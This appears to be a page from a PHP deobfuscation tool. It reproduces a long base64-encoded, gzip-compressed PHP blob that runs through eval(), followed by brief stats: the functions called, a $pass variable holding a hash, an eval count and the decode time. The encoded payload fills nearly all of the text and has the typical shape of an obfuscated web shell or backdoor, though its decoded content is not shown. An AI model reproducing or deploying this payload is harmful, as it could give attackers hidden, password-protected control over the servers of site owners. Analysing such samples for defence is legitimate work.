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"));
eval($temp);
?>

Function Calls

gzinflate 1
base64_decode 1

Variables

$pass 7eac0819cb76eaff2bcc1dd617de678f

Stats

MD5 7895fbeabae0305395152155e6ffed62
Eval Count 1
Decode Time 136 ms